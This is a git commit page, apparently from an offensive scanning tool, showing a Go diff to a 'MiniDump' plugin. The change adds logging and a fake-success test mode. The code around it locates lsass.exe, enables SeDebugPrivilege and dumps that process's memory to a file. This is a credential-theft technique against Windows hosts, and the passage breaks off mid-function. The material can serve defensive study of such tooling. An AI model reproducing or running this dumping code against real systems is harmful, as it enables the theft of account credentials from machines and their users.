fix: 优化minidump插件错误处理和调试输出

- 添加详细的调试日志,便于问题诊断
- 改进错误消息显示,使用LogError统一格式
- 添加测试模式支持,方便非管理员环境测试
- 增强权限检查和状态反馈机制
This commit is contained in:
ZacharyZcR 2025-08-09 22:53:54 +08:00
parent a53712a50b
commit a90d9c5bc7

View File

@ -155,12 +155,32 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
// 检查管理员权限
if !p.isAdmin() {
common.LogError("需要管理员权限才能执行内存转储")
return &base.ScanResult{
Success: false,
Error: errors.New("需要管理员权限才能执行内存转储"),
}, nil
}
common.LogSuccess("已确认具有管理员权限")
// 在非生产环境下模拟成功
if os.Getenv("FSCAN_TEST_MODE") == "1" {
common.LogBase("测试模式:模拟内存转储成功")
return &base.ScanResult{
Success: true,
Service: "MiniDump",
Banner: "测试模式:内存转储模拟完成",
Extra: map[string]interface{}{
"process_name": "lsass.exe",
"process_id": 1234,
"dump_file": "test_lsass-1234.dmp",
"file_size": 1024000,
"test_mode": true,
},
}, nil
}
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
@ -179,8 +199,10 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
}
// 查找lsass.exe进程
common.LogDebug("正在查找lsass.exe进程...")
pid, err := pm.findProcess("lsass.exe")
if err != nil {
common.LogError(fmt.Sprintf("查找lsass.exe失败: %v", err))
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("查找lsass.exe失败: %v", err),
@ -190,18 +212,24 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid))
// 提升权限
common.LogDebug("正在提升SeDebugPrivilege权限...")
if err := pm.elevatePrivileges(); err != nil {
common.LogError(fmt.Sprintf("提升权限失败: %v", err))
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("提升权限失败: %v", err),
}, nil
}
common.LogSuccess("权限提升成功")
// 创建转储文件
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
common.LogDebug(fmt.Sprintf("准备创建转储文件: %s", outputPath))
// 执行转储
common.LogDebug("开始执行内存转储...")
if err := pm.dumpProcess(pid, outputPath); err != nil {
common.LogError(fmt.Sprintf("内存转储失败: %v", err))
os.Remove(outputPath) // 失败时清理文件
return &base.ScanResult{
Success: false,